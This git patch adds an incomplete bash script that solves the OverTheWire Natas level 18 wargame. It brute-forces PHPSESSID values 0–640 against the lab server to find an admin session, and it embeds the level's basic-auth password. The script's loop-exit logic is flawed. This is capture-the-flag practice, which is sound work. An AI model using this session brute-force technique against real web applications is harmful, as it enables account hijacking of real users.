From 42ecc035b58fdcd8f0832c12b989ce9a342bcbfd Mon Sep 17 00:00:00 2001 From: Emile Clark-Boman Date: Tue, 15 Jul 2025 23:54:27 +1000 Subject: [PATCH] natas18.sh(incomplete) --- overthewire/natas/scripts/natas18.sh | 26 ++++++++++++++++++++++++++ 1 file changed, 26 insertions(+) create mode 100755 overthewire/natas/scripts/natas18.sh diff --git a/overthewire/natas/scripts/natas18.sh b/overthewire/natas/scripts/natas18.sh new file mode 100755 index 0000000..0a6f2aa --- /dev/null +++ b/overthewire/natas/scripts/natas18.sh @@ -0,0 +1,26 @@ +#!/usr/bin/env bash + +#curl -v --cookie "USER_TOKEN=Yes" http://127.0.0.1:5000/ + +USERNAME="admin" +PASSWORD="arbitrary" + +req() { + local SESSION_ID=$1 + curl http://natas18.natas.labs.overthewire.org/index.php \ + -X POST \ + -u natas18:6OG1PbKdVjyBlpxgD4DDbRG6ZLlCGgCJ \ + -d "username=$USERNAME" \ + -d "password=$PASSWORD" \ + --cookie "PHPSESSID=$SESSION_ID" \ + -sS \ + | grep "regular user" &>/dev/null +} + +MIN_ID=0 +MAX_ID=640 +for ((i=MIN_ID ; i <= MAX_ID ; i++)); do + printf "Attempt: %2d" $i + req "$i" && echo -en '\r' || $(echo " [admin]"; break) + +done